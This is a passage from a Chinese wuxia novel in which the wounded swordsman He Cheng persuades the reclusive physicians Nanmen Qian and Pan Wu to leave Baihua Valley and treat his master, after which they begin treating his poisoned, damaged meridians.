听他这样说,所有人都忍不住探头看一眼罐中蛊虫。只见方才还奄头搭脑的小家伙肉眼可见地活跃起来,它殷红的螯钳上沾着刚刚从贺承指尖挤出来的鲜血,像捧着糖糕的孩子,小心而兴奋地往嘴里送去。在罐子里来回梭巡几圈,将罐子里的血液蚕食干净了,它仿佛满意极了,四仰八叉地躺在罐子中央,身上的殷红色都越发鲜艳夺目起来。 潘妩暗里用胳膊肘杵了杵南门迁,朝他递了个眼色。 南门迁会意,微微颔首,捏着胡子沉吟片刻,给出一个毫无根据的猜测:“蛊虫嗜毒,贺少侠长期服用秋梧半死丹,又在近日服过九死露,毒入血脉,毒血会吸引蛊虫,大约也不算奇怪。” 这回答乍听之下颇为合理,可贺承还是觉得不大对。 七步岭上的蛇虫鼠蚁皆是嗜毒之物,贺承亲眼目睹过它们被金波的毒粉吸引时,撕咬残杀,要将最后一点粉末吞食入腹的激烈场面。可蛊虫与它们却不同,它虽然是被自己的血吸引来的,可它对自己表现出来的,绝不是捕猎食物的残暴贪婪。 贺承不了解蛊虫的习性,但他小时候养过一条小土狗。 如果蛊虫也和狗一样,有灵性,会认主,那他觉得这只蛊虫对待自己的态度,更像是把他当做了它的主人。 可是,他怎么可能是这只蛊虫的主人? 且不说他从未到过百花谷,便是到过,对蛊术一无所知的他,又是怎么在七步岭漫山遍野的毒物里找到这只比他年纪还大的蛊虫,然后,让它认自己做主人的呢? 贺承想不通自己与这只虫子的关联。 医蛊不同家,他猜南门迁大概也想不通 因而,心中虽对南门迁的猜测不以为然,他并没有立即将自己的不解说出口。稍一迟疑的功夫,便被钟晓抢了先:“前辈之前说,师兄身上的毒和伤相互牵制,不宜冒然解毒,如今可能想到什么办法了?” 贺承是在昏迷中被钟晓背进百花谷,人事不省地被送进潘妩的药笼里,并没机会交代南门迁替他隐瞒这一身骇人的伤。一觉醒来,包含陆晓怜在内的所有人,都知道他周身经脉曾被生生震断过,不知被哪里来的高手续了经脉,才勉强留住这条命。 受过那么重的伤,贺承能保住性命已属不易,更枉论动武。可救他的人不知安的什么心,竟在他周身十二处大穴上硬生生埋上凤尾续魂针,令他支离破碎的经脉勉强能支撑内息游走的同时,也将他的性命又悬回头发丝上。 在凤尾续魂针的作用下,贺承的内力勉强能在周身经脉间运转起来,可即便他能忍受内息流转时的剧痛,重伤后的经脉也不能承受太过强劲的内力。他受伤后,时而无力压制住自己澎湃的内息,因而必须不时服用秋梧半死丹,既化解掉在经脉中横冲直撞的内息,又可在短时间内强行护住经脉。 那秋梧半死丹是那时枕风楼的楼主沈南风为救爱子,让人照着从五毒谷偷来的几颗药 丸,调整方子,炼制出来的。虽说是用来救人的,可毕竟是依照五毒谷的药方进行调整,最终炼制的秋梧半死丹依旧是半毒半药,虽能强行护住经脉,却治标不治本,时间长了,反倒令毒素沉积期间,经脉气血一并衰竭。 这丹药最早救的人和最早害死的人,都是沈南风的儿子。 沈南风的儿子天生心脉缺损,原本也没有多少日子好活,便是靠着这秋梧半死丹强撑了几年,最后确实也不是死于心疾,而是死于经脉枯竭,油尽灯枯。 这些话,是南门迁救贺承时,同钟晓、齐越他们说的。贺承醒来后,又从同行的这群人口中零零散散地听说,心中一直便有个问题,此刻钟晓提起这个话题,他恰好顺势问一句:“前辈似乎十分了解秋梧半死丹?可是与枕风楼有旧?” 名满江湖的百花谷神医怎么可能没有故事? “最了解秋乌半死丹的不是我,是阿妩。”南门迁笑笑,骄傲地看向身边潘妩,“当年沈南风硬闯五毒谷偷出来的那几颗药丸,便是交到了阿妩手里,她就是炼出秋梧半死丹的人。” 潘妩摇头苦笑:“这药不过是饮鸩止渴,其实救不了人。”说到这里,她轻轻叹了口气:“炼出一枚丹药来,既救不了人,也杀不了人,还险些把自己的命搭进去,实在是没什么值得骄傲的。” 贺承眉心微蹙:“险些把自己的命搭进去?” 南门迁道:“都是陈年旧事,不提也罢……” “不。”潘妩打断他,“虽是陈年旧事,可救了你我的人,却不能不提。那时沈南风因爱子之死,迁怒于我们夫妻二人,我们得当时枕风楼护法左使司渊相救,才逃过一劫,也是他为我们寻了百花谷这样的好所在,让我们安然隐居于此。” 南门迁点头,继续说道:“我们答应司渊,此生便隐居于此,绝不踏出百花谷半步,再卷入江湖纷争。”他若有所思地看着贺承,叹了口气:“最后一次见到司渊,已经是将近二十年前了,也不知他如今怎样了?贺少侠,你可曾与他打过交道?” 贺承和钟晓对视一眼,茫然地摇了摇头。 南门迁诧异:“怎么会?因为沈南风的缘故,枕风楼得罪了许多人,司渊出身于枕风楼,在江湖上没几个朋友,其中最志同道合的便是你们青山城的庄荣。” 钟晓还是摇头:“我确实不曾见过师父与枕风楼的往来。”他扭头问贺承:“师兄,师父与你无话不谈,他可曾跟你提过枕风楼?” “不曾。可是我……”贺承话刚出口,目光扫过钟晓,忽然将后面的话吞了回去。 下一刻,他眉头微蹙,伸手抵着心口,弱声道:“我,心口突然疼得厉害……”身子一颤,歪歪斜斜地往躺椅的一边侧倒下去。 “师兄!”钟晓离得近,横跨一步,将贺承疼得发颤的身子稳稳扶住。 南门迁只在几步之外,快步上前,抬手便搭上贺承的手腕。 钟晓心急如焚,紧紧盯着南门迁。只见南门迁眉头紧锁,眼中闪过犹疑不决,迟疑了片刻,伸手探向贺承胸口,轻轻摁压,迟疑着问他:“是这里疼吗?” 贺承身子猛地一颤,闷哼一声,抵在胸口的那只手一翻,握住南门迁的手腕,声音发颤:“对,疼,疼得厉害……” “我知道了。”南门迁点头,招呼钟晓将贺承扶回躺椅上,交代他,“你脚程快,这几日对我这里的方位也熟了,去南边的药圃帮我采株草药回来,你师兄得用。” 钟晓应了声“好”,小心翼翼地把贺承扶着躺好,眼巴巴地看着南门迁。 南门迁胡子一抖:“看我干什么?还不快去!” 钟晓老老实实地解释:“前辈,您还没有说要采哪株草药呢?” 南门迁被他问得胡子又抖了一抖,不假思索道:“你到了之后,就挑药圃里最正中的那株草药,把它长得最完整的三片叶子带回来给我。” 钟晓得了命令,忧心忡忡地看他师兄一眼,足尖点地,几个起落,向南而去。 待到人走远了,南门迁才冷哼一声,挣脱开被贺承握住的手,拍了拍他的肩膀:“起来吧,人走远了,别装了。” 话音刚落,潘妩就惊讶地看着上一刻还虚弱无力地歪倒在躺椅上的人,撑着椅子扶手,慢悠悠地坐起来,看着她抱歉地笑了笑:“要委屈前辈的药圃收留一下钟晓了。” 潘妩看看贺承,又看看南门迁:“这是怎么回事?” “我给他把脉时便觉得古怪,他脉象虽弱,却十分平稳,不像有什么突发的急症,接着再去探他心口,他一把拉住我,手指在我手腕上轻轻叩了两下,我便猜到,这小子是在装病,其实一点儿事也没有。” 贺承笑着拱手一礼:“前辈英明。” “少给我灌迷魂汤。”南宫迁嘴上不屑,手上却一刻没歇,将刚刚慌乱中滑落的毯子拉高,给贺承盖上,问他,“让我支开你师弟,是有什么话要跟我们说?” 阳光明晃晃地落下来,眼前的空地开阔敞亮。 此刻,此处,别无旁人。 贺承撑着坐起些,收敛起脸上的笑意。他的眉骨生得高,显得眼窝略深,神情严肃时,目光越发幽深黑亮。他扶在躺椅的扶手上,脸色依旧苍白,声音还是略低,却他神色端肃,语气坚定,丝毫不令人觉得这是个孱弱无力的人。 四下无人,贺承的声音虽低,字字句句却都极为清晰:“既然你们要打听的人是枕风楼的人,那为什么不出谷,亲自去一趟枕风楼打听呢?” “我刚刚也说过,我们答应过司渊,此生绝不踏出百花谷半步。” 贺承低头看着自己苍白清瘦的手,似乎暗自盘算着这只手究竟还能掀起多大的风浪。他重新抬起头来,问南门迁夫妇:“如果你们不是自己踏出百花谷,而是被人挟持带出百花谷的呢?” 第44章 第四十四章求医贺承到百花谷,根本…… 百花谷机关重重,仍有人前赴后继地往里闯,被带出百花谷,南门迁夫妇悠然平静的生活势必要被打破。无论枕风楼是否放下了前尘往事,神医夫妇重出江湖,必定会招惹来许多与当年的沈南风一样的人,福祸未知。 南门迁夫妇怎么也算是贺承的救命恩人,他提出这样的假设,其实很无礼,本以为南门迁夫妇会勃然大怒,却没想到潘妩细致而敏锐,听出了他的言外之意,一针见血地指出:“所以你千方百计进入百花谷,根本不是为了治伤,而是为了来请我们出谷。” 这不是问句,而是斩钉截铁的论断。 贺承点头:“我来百花谷,是想请前辈出谷救治两个人。” “两个人?” 贺承略一迟疑,四下环顾,再三确认没有旁人后,压低声音,坦言相告:“我的师父,青山城掌门陆岳修,和西江逐月阁阁主的小儿子孟元纬。” 孟元纬是年轻后生,南门迁夫妇并不认得,可陆岳修年少成名,南门迁和潘妩既然知道庄荣,便不会不知道比庄荣名声还要大的陆岳修。当初爱妻龙吟仙子林音病重时,陆岳修曾悬赏千金寻找他们夫妇二人的下落,可惜那时他们被沈南风囚在枕风楼,得知此事时,一代佳人林音已经香消玉殒。 多年来,南门迁夫妇对于此事总觉遗憾,如今听见陆岳修的名字,他们一齐低声惊呼:“陆掌门?” 南门迁定了定神,多问一句:“陆掌门怎么了?” “半年前,师父他——”贺承停下来,像是仔细回想了一番半年前的某一日究竟发生了什么。 可以想见,那一日的情境不会太好,南门迁夫妇眼见贺承的脸色一径苍白下去,仿佛被梦魇扼住咽喉般,单薄的胸膛剧烈起伏了几下,气息都沉重凝滞了几分。 他深吸了口气,将嘴唇抿得发青,再开口时声音更艰涩许多:“半年前,师父被我所伤。我怕被人发现此等不孝不义之举,便带走重伤的师父,送至枕风 楼休养。可拖了大半年,师父的伤势仍不见好转。我在枕风楼偶然见到二位前辈早年留下的手札,追问下得知二位神医隐居百花谷,才斗胆闯进来,想请二位前辈出山救我师父。” 百花谷与世隔绝,江湖风雨一点儿也透不进来。 南门迁与潘妩自然是不知道半年前青山城不仅一夜间丢了掌门和掌门得意门生,还在无涯洞外发现一地血泊,四大门派当家人的爱子死的死伤的伤。一夕之间,四大门派之首的青山城成为众矢之的,风雨飘摇。 潘妩不知前因后果,皱眉打量贺承:“我看着你,也不像是个不敬尊长的人,怎么会伤你师父?” 贺承脸色雪白,低敛着眼睫,沉声道:“是误伤,我不是有意的。” 潘妩又问:“你师父此刻在何处?” 贺承回道:“枕风楼。”旋即,他想起南门迁夫妇与枕风楼的旧怨,忙道:“前辈请放心,沈南风已经过世多年,如今的枕风楼楼主沈懿行是我的至交好友,他答应我,必不会再与前辈为难。” 南门迁与潘妩相视一眼,未置可否。 只这样静默了片刻,待转头回来再看贺承,南门迁便觉得贺承脸色气息都不对劲,拦住还想追问的潘妩,上前一步,扣住贺承的手腕,脸色一沉,喝道:“我们又没说不救,你急什么——” 说话间,他抬手在贺承后心处用力一拍,只见贺承身子猛然一颤,呛出一口暗色淤血来。 潘妩与南门迁多年夫妻,心意相通,只消一个眼神,便知道丈夫想要什么东西,伸手自南门迁怀中摸出针灸包,利落地摊开。 南门迁瞟了一眼银针,道:“左起第三枚针,落在神藏,两寸深。” 潘妩点头,抬手捻起银针,刺入穴位。 “再来。”南门迁又道,“挑最细的针,中府、期门,各一寸……” 两人忙碌一番,几枚银针入穴,贺承的气息总算渐渐平稳下来。 他伏在南门迁手臂上,又接连呛出几口血,仍不忘挣扎着向南门迁争取:“师父命在旦夕,医者仁心,求前辈……” 南门迁没理睬他,拍抚着他的脊背,直到他将堵住心口的淤血呕尽了,才将人扶回躺椅半躺着,给他裹了裹毯子,没好气道:“歇会吧,自己的身子已经糟蹋成这样了,还要操心那么多事,怎么养得好?” 贺承经脉不畅,气血亏虚,一番折腾下来,神色恹恹,目光涣散。可他显然没打算歇会,撑着扶手翻身而起,一跃落在潘妩身边,一手扣住她的肩膀,一手虚虚掐在她的脖颈上。他分明伤病缠身,虚弱难支,可招式之间干净利落,眨眼之间制住潘妩,也便拿捏住了南门迁。 “得罪了……”他闷闷低咳,声音越发低哑,“前辈侠义,不愿,不愿违背承诺,这罪名,由,由我来担……” 南门迁知道贺承的心思。 他刚刚说,他又没说不救,可见他与陆岳修并无旧怨,不是因为仇怨不肯救人,却迟迟不肯答应出谷救人,说到底,还是因为早年间对司渊立下过“不出百花谷”的承诺。 南门迁拧着眉头看了潘妩一眼,将目光落回到贺承身上,神情严肃:“不用你担什么罪名,我们只要你一句话,你当真要我们出百花谷?” “自然是的。” 南门迁看着潘妩:“既然是他出口请求,阿妩,我们便走一趟吧。” 此刻的贺承心中只挂念着伤重的陆岳修,并没有深想南门迁这句话语意里隐约的古怪,只松开潘妩,分头向两人抱拳行礼,欣喜道:“多谢前辈!” 南门迁夫妇出谷虽是为了救陆岳修和孟元纬,可在陆岳修伤愈之前,贺承不希望太多人知道他的下落,这个“太多人”也包含了陆晓怜和钟晓。 于是南门迁夫妇替他想了套说辞,只字不提要出谷救人的事,只说他们夫妇二人相识于阳城,恰好贺承一身伤病需要调养,他们索性同他们一道出谷同行一段,待贺承伤势大好了,正好拐路去阳城故地重游一番。 陆晓怜和钟晓因为南门迁夫妇一路同行,能随时调理贺承的身体,十分高兴。金波喜欢热闹,眼见多了两人同行,兴致也很高。齐越则是为能再多些时间向南门迁夫妇请教医术药理,也是欣喜非常。齐越一高兴,赵戎津不消说,也是高兴的。 如此一来,所有人都很高兴。 南门迁夫妇随着他们一同出谷的事,便这样定了下落。 可究竟何时启程,大伙却总是商量不出个结果来。 隐约猜到自己这副五劳七伤的身子正是南门迁夫妇拖拖拉拉不肯启程出谷的原因,贺承借着南门迁为自己诊脉的机会,关上门来,与南门迁夫妇开诚布公谈一谈。 贺承开门见山:“前辈迟迟不肯启程,是因为我的缘故吧?” 南门迁也不瞒他:“从这里到枕风楼路程并不算短,舟车颠簸,你刚刚从鬼门关外转了一圈回来,必定受不住。” “所以呢?” “所以我和阿妩想在出谷前,治一治你的伤。” 贺承笑笑:“劳前辈费心。其实我在半年前就该死透了,这条命本就是捡回来的,不必太精细地看护。救治师父要紧,我们还是尽早启程,即便我在路上有什么三长两短,枕风楼如今的楼主沈懿行也会替我安置好两位前辈的。” 他话音刚落,潘妩当即沉下脸来:“呸呸呸,小孩子口没遮拦的,说的是什么浑话。快呸掉,再敲敲木头。坏的不灵好的灵!” 贺承愣愣地看着潘妩,有一瞬间的恍惚。 他很小的时候就被乞丐贺老头捡到,被他用薄粥野果,同他的亲孙子贺启一起艰难地养大。后来他从一只野狗嘴里抢半个肉包子的时候,被路过湘城的庄荣发现根骨奇佳,是习武的好苗子,顺手带回了青山城,想方设法让他拜青山城掌门陆岳修为师。 在他经过的那些时光里,他好像很少被当做“小孩子”对待—— 老乞丐把他捡回去养,是因为他能跟贺启作伴,又比贺启年长几岁,能在老乞丐死后照顾贺启。他过早地懂事,张牙舞爪地去与人争夺半个馒头、半碗清粥,从来没有机会像贺启一样,趴在老乞丐膝头撒娇。 庄荣把他带回青山城,陆岳修破例收他为徒,都是因为他经脉奇绝是练武奇才。那时他不过六七岁,还是普通人家的孩子钻进母亲怀里哭闹的年纪,可无论是庄荣还是陆岳修,对他的要求都极为严格,要他将一招一式练到最好。 贺承对自己的父母毫无印象,因此也不会从虚空里生出什么思念。 可看着贺启,看着陆晓怜,他有时也会无法控制地假想,如果他在自己的父母身边长大,是不是他也有机会当个孩子?是不是他也会被母亲点着脑门,笑骂太过顽皮?是不是他也会被父亲按在地上拿细木条抽打,到了最后父子一同红着眼眶? 他如今已经长成二十来岁的大人,这些念头其实已经很少出现了,可偏偏潘妩那句话说得太过温柔,像是一粒火星点燃了整片荒原,煌煌灯火中,随着流逝的时光被挤入黑暗角落里的记忆蓦然鲜活,那些儿时对天伦之乐的幻想与渴望卷土重来,几乎将贺承瞬间淹至没顶。 一些小时候缠绕心头,惹他躲在暗夜里掉眼泪的问题,竟又卷头重来—— 比如,他的父母究竟是什么模样…… 比如,他的父母到底为了什么不要他…… 贺承怔怔看着潘妩,好一会儿都没有说话。 潘妩拧着眉头,又重复一遍自己刚刚说的话:“喂,听没听见我说话?快呸掉,再敲敲木头,跟我一起念啊!坏的不灵好的灵——” 贺承回过神来,只觉得这画面有一种他不曾亲历的温情。 潘妩的语气很急,可贺承的目光和笑意都是温缓的。他照着她的提示,笨拙地抬手叩了叩木质的床沿,乖乖巧巧地跟着潘妩喃喃往下念:“嗯,坏的不灵好的灵。” 第45章 第四十五章转机绝处逢生。…… 说是要在出谷前给贺承治伤,可究竟要怎么治,其实 南门迁和潘妩还没拿定主意。 贺承不仅被人以摧枯拉朽之势重伤了经脉,如今体内更有两种药性截然相反的毒药冲撞纠缠。他体内原本就沉积着的秋梧半死丹,是用来散功平息的,而他在七步岭上匆匆服下的九死露却是凝力聚气,便是他情绪激荡、气血翻腾时,加重了这两种药的药力、毒性在体内冲撞,才会令他一度命悬一线。 两害相权取其轻。这几日,潘妩一直斟酌着让贺承服下少量秋梧半死丹,强压着九死露的药性,以维持住和平的表象。 可这终究不是长久之计! 秋梧半死丹本就是毒药,服用一日,便多一份毒素沉积体内。这毒却不会立时便要了人命,是钝刀子杀人,由着沉积在体内余毒慢慢侵蚀经脉脏腑,日积月累下来,中毒者终归是免不了要落得油尽灯枯的下场。 秋梧半死丹的毒没有解药,要清除沉积在经脉中的毒,最直接而彻底的方式,便是以内力逼毒。偏偏贺承的经脉已是千疮百孔,决计受不住一脉内息如急湍瀑布般汹涌打入。于是,治伤的事,便这样暂且停了下来。 贺承听完南门迁的话,平静地问他:“前辈今日与我说这些,可是想到了什么办法?” 南门迁喜欢极了跟这样的聪明人说话,点头道:“我其实一直有个想法,可阿妩觉得风险太大。可是咱们这一趟出谷,也不知道要耗费多长时间,你身上的毒伤耽搁不得,我和阿妩觉得,得拿这法子来跟你商议商议。” “左右我也——”贺承浑不在意地开口,想到刚刚潘妩的忌讳,心口一热,将后面的话咽了回去,话头一转,“我也不识医理,自然都听二位前辈的。” 潘妩摇头,神色严肃:“此法凶险,而且你得吃不小的苦头,你先听他说。” 随即,南门迁接过话茬:“我给你把脉时发现,你小子内功其实挺深厚,只是碍于经脉有损,平日里强压在丹田之中,不敢释出,对不对?” 这不是什么谦虚的时刻。何况贺承天赋高,练功又勤快,无论是外化的招式,还是内里的功法,都练得极为扎实,不仅是青山城众多师兄弟间当之无愧的魁首,也是各门各派同辈弟子中的佼佼者。 他没有虚以委蛇地客套,大大方方点头称是。 南门迁满意地点头,又说:“世上万物,不用则废。如今,你这一身内力只用来瞻前顾后地打架未免可惜。我想引一脉你的内息萦于任督二脉之外,用你自己的内息护住你自己的经脉,之后,你再缓缓释出你强压在丹田里的内息,初时只放一成功力,之后两成、三成,一点一点往上加。内息在经脉间游走,一则能冲带起沉积附着于经脉的积毒,以使毒素成无根之萍,无法继续侵入经脉,毒虽还没法解,但至少积毒无处附着,便无法深入经脉脏腑之中;二来内息循序渐进冲开经脉中凝滞阻塞之处,气血通畅,也能稍稍减缓经脉枯竭的速度。只是——” 南门迁眉头倏尔拧起,顿了一顿,贺承知他言有未尽,耐心等着。 果然,南门迁长长叹了口气:“若用此法,在毒素尽数清除前,需让内息一刻不停地流转着,否则积毒随着内息游走,反而会加速毒性蔓延。你周身要穴埋了凤尾续魂针,内息游走必定痛楚难当,此前你不过使用内力时忍受片刻,此后却必须时时忍受,你可能受得了这种苦?” 凤尾续魂针的苦吗? 贺承恍惚想起半年前的艰辛…… 半年前,他拖着一身重伤,强撑着一口气,带着陆岳修到枕风楼求助于沈懿行,甚至来不及开口说句话,便倒在沈懿行面前。 之后,沈懿行找了哪些人、花费多大功夫救治他和陆岳修,贺承一概不知。再醒来时,便见到沈懿行坐在床边,一脸严肃地告诉他,他经脉多处断裂损毁,要化去一身武功才能保命。 那时,贺承连动一动手指的力气都没有,平躺在床上,看着面色沉痛的好友,耳边阵阵嗡鸣,脑海中一片空白。 并非是舍不得这些年寒暑不辍练出来的一身好武艺,只是想到笼罩在青山城上空的那团风吹不散的阴云,想到师父陆岳修情况未明,师兄陆兴剑殒命在无涯洞外,师叔庄荣习武成痴不理俗事,贺承还是觉得,他还必须仰仗这一身武功,至少此刻,他还不能成为武不起凌云剑的废人! 贺承执意不肯舍一身功力,可沈懿行不肯眼睁睁看着他送命,两人为了他这一身功力僵持了好些日子。 那时贺承寄居枕风楼,人在屋檐下,不得不低头,他能做的,也不过是对每一位近身来为他诊脉的大夫、每一碗递到他眼前的汤药都心存戒备,明明虚弱至极,却强撑着不敢睡死过去。 如此熬了两日,贺承的身体每况愈下,气色竟比拖着一身伤到达枕风楼那日还要糟。 沈懿行权衡再三,才狠下心来,同意将枕风楼里用来给刑堂受刑者吊命的凤尾续魂针钉入贺承体内。 那是枕风楼刑堂里用来给受刑之人吊命的东西,能留得人一口气便罢,哪里还管人伤得重不重、痛不痛。因此,在启用凤尾续魂针之前,贺承就已经知道银针入体的苦楚,也甘心愿意为了保全一身功力而承受着这般苦楚。 南门迁问他能不能受得住时,他只淡然笑笑:“为了活命,受不住,也得受着。” 潘妩看着贺承苍白消瘦的脸,只觉得心疼:“我会另外为你配一些麻痹痛觉的药,若实在受不住,就吃一颗顶一顶。” 南门迁也道:“你辛苦一段时日,那凤尾续魂针也不是什么好东西,埋在身体里终究不是长久之计,等外间事了,再随我们回百花谷来,我为你取出凤尾续魂针,重新接续经脉,好好调理养护。待你的经脉养好了,便能彻底拔除你体内积毒,这才能算治好了你的伤!” 听到这里,贺承眼前一亮:“前辈的意思是,我的伤能治,我,我能活下来!” “自然。”南门迁骄傲得两撇小胡子颤了颤,“别人便罢,你这条命,说什么我也是要保下来的。” “多谢前辈!” 南门迁挑眉:“若要谢我,日后就好好活,别再把自己折腾得只剩半条命了。” “晚辈谨记。”贺承拱手一礼,“还有一事,求前辈相助。” 南门迁轻轻“啧”了一声,警告他:“你小子,别得寸进尺啊!” “并不是什么难事。”贺承道,“我师妹师弟那里,能不能骗一骗他们,就说我的伤已经彻底好了。免得他们整日将我当只易碎琉璃杯一般看护着。” 说起陆晓怜,潘妩插话进来:“你这师妹倒是很有些古怪。” “晓怜怎么了?” “你也知道,你命悬一线时,是她以内力护住你的心脉,为我们救治你争取了时间。古怪之处就在于,她内力平平,当时应该是不管不顾、使出所有力气救你。像她这样不要命地救人,大多会被内力反噬,更有甚者直接走火入魔。” 听到这里,贺承脸色煞白,原本舒展地平放在腿上的手渐渐蜷起,握成拳头,用力之下,指节透出青白。 潘妩心细,安抚地按住贺承的肩膀:“古怪的地方便在这里,她没有被内力反噬,更没有走火入魔,只是力竭后安安稳稳地睡了三天,之后什么事都没有,好像不曾为了救你,强行虚耗内力一般。” 不会有人比贺承更清楚陆 晓怜究竟有多少斤两。 他在药池边见到失而复得的陆晓怜,心绪激荡,本就气血散乱,体内又有两种毒互相冲撞,在这种情况下要护住他的心脉,绝非易事。陆晓怜不仅做到了,甚至做得毫不费力,确实有些古怪。 南门迁看看皱着眉头思索的妻子,又看看同样若有所思的贺承,大手一挥:“好了,别想了。那丫头一颗心都挂在你身上,兴许是由此激发出来什么潜力。日后你和她都跟我们回百花谷来,我帮你们一同仔细调养,准让你们俩都长命百岁!” 潘妩横了他一眼,揶揄道:“说得好像现在诊不出来的问题,两三个月后便一定能手到擒来似的,你真当自己是华佗再世?” 南门迁胡子抖了抖,一眼瞪了回去:“我怎么不行?我还有后山一整山洞的医书呢!” 看着两个年近花甲的老人像孩童一样斗嘴,贺承只觉得好笑。他只是勾了勾嘴角,没有发出一点声响,南门迁便狠狠瞪过来:“笑什么笑!等日后你跟你师妹成了亲,便会落得跟我一样的下场了!” “什么下场?”潘妩凤眼一瞪,伸手拎起南门迁的耳朵。 “疼疼疼!”南门迁龇牙咧嘴地侧着头,“你听错了!不是下场,是福报!能跟你成亲,是我几世修来的福报!” 两人吵吵闹闹地推门出去,守在门外的陆晓怜迫不及待地闯进屋里来。 “师兄,南门前辈他们……”陆晓怜话没问完,便被贺承一把拉进怀里紧紧搂住。 房间的门敞开着,山间的夏日并不燥热,风卷着山林间草木的芬芳,呼呼往房间里灌,扯起两人的衣袍袖裾,飞扬成一对不离不弃的彩蝶。 陆晓怜不解:“师兄,发生什么事了?” 贺承紧紧搂着陆晓怜,就像紧紧握住失而复得的珍宝。 确实是发生了一件是好事。 他可以活下来,他可以陪她继续走很远很远的路。 “南门前辈说,我的伤能治好。我——”贺承深深吸了口气,声音微微哽咽,“晓怜,我好开心。” 第46章 第四十六章新生暂时死不了了。…… 之后的几日,南门迁忙着研究经络穴位,潘妩紧赶慢赶地研制药剂,为贺承治伤所需准备的东西,从银针、药材,到室内保暖的碳火,事无巨细都交到齐越手里。 齐越自小便听着南门迁夫妇的故事长大,对二位前辈仰慕已久,自从进入百花谷,更是勤勤恳恳地为南门迁夫妇料理琐碎事务。他稳重心细,精通医理药理,又聪明机敏,常常是南门迁夫妇只吩咐第一步,他便能融会贯通将后面的第二三四五步都安排妥当,很得南门迁夫妇的喜欢。 南门迁和潘妩给贺承治伤时,将所有人拦在屋外,只独独带了齐越进去。 正值仲夏,深山之中,气候不冷不热舒爽至极,可屋子里却点了一只炭盆。 显然这只是炭盆是特意为气虚血亏的贺承准备的。南门迁为贺承施针时难免要敞开衣襟,虽然已是初夏,可贺承沉疴在身,比常人容易受凉,还是不可掉以轻心。 南门迁看了一眼床边的炭盆,赞许地拍着齐越的肩膀:“不错,想得挺周到。” 齐越谦虚地低了低头:“家父教导,行医一事,事关人命,万不可马虎应付。” 潘妩像是想到了什么,插话进来问齐越:“你姓齐,你的父亲是齐直山?” 齐越满眼惊喜:“前辈竟认识家父!” “说起来,他也算是我们的师弟。”南门迁边说边往里走,“只可惜这些年我们居住在百花谷中,不与外面通音信,与这些故人全无联络了。” 南门迁在床边的矮几上坐下,掏出针灸包铺开,转而停止与齐越的闲聊,指挥贺承:“把上衣脱了。” 那日南门迁已将此番疗伤的凶险尽数告知,可他依旧坦然无惧,乖乖动手解开系带敞开衣襟,朝着南门迁微微颔首:“有劳前辈。” “我先用银针封住你丹田中的内息,待打开经脉通路后,再引出一脉内息环护住任督二脉。”南门迁伸手拨开贺承的衣襟,露出他精瘦的胸膛。 这一身伤,南门迁夫妇在贺承初来乍到时便见过,而齐越虽为他多次诊脉开方,对他的伤势隐隐有过猜测,却未曾亲眼见到过,此时一见,忍不住倒吸了一口气。 贺承的皮肤原本就白,伤病之中,气血溃败,周身皮肤更显出一种诡异的苍白。毕竟是习武之人,虽然苍白消瘦,却不显得过分羸弱,薄薄的一层肌肉附着在骨骼上,肌肉线条流畅利落,依旧是柔韧强劲的模样。 令齐越心惊的,是这具匀称坚韧的身体上,横亘着的伤痕。 江湖儿女,行走在刀光剑影中,身上有伤疤,是再寻常不过的事情。可贺承身上的伤却太过惊心动魄,那些颜色灰暗的旧伤已不值一提,令人揪心的是那些呈现出深粉色的、半新不旧的伤疤,几乎每一处都恰到好处地落在要穴上。 齐越瞪大了眼睛:“这样重的伤,怎么能撑这么长时间?而且,竟然还能动武?” 南门迁边在火上淬着银针,边笑:“你父亲传给你医书治些头疼脑热的寻常病症,确实是够用了,可要救重伤重病之人,还是得用上些偏门左道的偏方。喏,比如眼前这位——” 明明南门迁正风轻云淡地笑着说话,喘口气的功夫,手腕一翻,接连将指尖拈着的银针刺入贺承脐下气海、关元等穴。他凝神细看贺承的脸色,手上极缓极稳地捻转着银针,沉声问他:“此刻觉得怎么样?” 贺承神色无异,只是声音有些孱弱:“有些乏力。” 南门迁点头:“你习惯了经脉中有内息流转,我将你的内息封在丹田中,此刻的你与散尽一身功力无异,自然觉得没有力气。” 虽经贺承的脉脏腑皆有损伤,可靠一身深厚内力稳固着根基,尚能勉力支撑。此时他经脉脏腑中空空荡荡一点内力也没有,那些平日里被粉饰太平的暗伤显露出来,他只觉得浑身的力气瞬时被抽光了一般,竟虚弱得险些坐不住。 南门迁两撇山羊胡子抖了抖,低声斥道:“才多大年纪,身体根基就毁成这个样子?若没有这身内力,我看你还怎么逞强!” 南门迁的话越多,贺承内力被封的时间越长,内力被封的时间越长,贺承便越是虚弱。他摇摇欲坠地坐不稳,被潘妩眼疾手快地接在怀里。潘妩与南门迁没有孩子,她越看贺承越觉得心疼,拿帕子擦着他额角渗出的层层虚汗,扭头呵斥道:“南门迁,你少废话,赶紧落针!” “我说他几句怎么了?他把身体糟蹋成这样,还说不得了?”被潘妩训斥得不服气,南门迁边淬银针,边恨恨地念叨,“哼,真是慈母多败儿!幸好,幸好我们没有孩子!” 潘妩咬牙:“南门迁!你闭嘴!” “前辈……”刻骨倦意如浪潮般阵阵翻卷上来,贺承伏在潘妩臂弯中,强打着精神当和事佬,“前辈,切莫为我,伤,伤了和气……” 话音未落,贺承只觉有一只手揽过他的肩膀,扶正了他的身体,而后,任督二脉处接连炸开一串细密的疼痛,像是在身体里点燃了两串细小的炮竹,沿着任督二脉,在他前胸后背噼里啪啦地炸过去,掀起一片滚烫而尖锐的疼痛。 贺承痛极,猛然坐起,脊背笔直而僵硬。他脸色煞白,有冷汗顺着鬓角滚落下去,他仰着头,喉结上下滚动着,惨白的唇微微发颤,最终却将所有痛极的呻吟咬碎在牙缝间,只从喉咙里低低地吐出一声闷哼。 “另开经脉通路,无异于易经洗髓,是要吃点苦。”南门迁接过齐越递过来的参汤喂给贺承,“服了参汤,缓一缓,再继续下一步。” 贺承 将半碗参汤混着心口翻涌的腥气一同咽下,咬牙道:“继续吧。” “我要开始将你丹田中的内息引入新开的经脉通路。这条通路细幼,跟任督二脉不能比,我也不确定它能承受得住多强的内息,只能摸着石头过河,你若受不住,不许强撑,立即同我说。” 贺承冷汗岑岑,微微垂着头,无力地应了声“好”。 得了贺承的回应,南门迁开始转动最初扎在贺承气海、关元几处穴位上的银针,边转动着,便缓缓抽离贺承的身体。他的动作极慢,往外抽出分毫,都要屏息凝神地观察贺承片刻,全没料到,直到几枚银针几乎要被全部抽出来,都不见贺承皱眉。 南门迁盯着贺承,怀疑道:“你就不觉得哪里不舒服吗?” 贺承像是不知他为何有此一问,茫茫然摇了摇头。 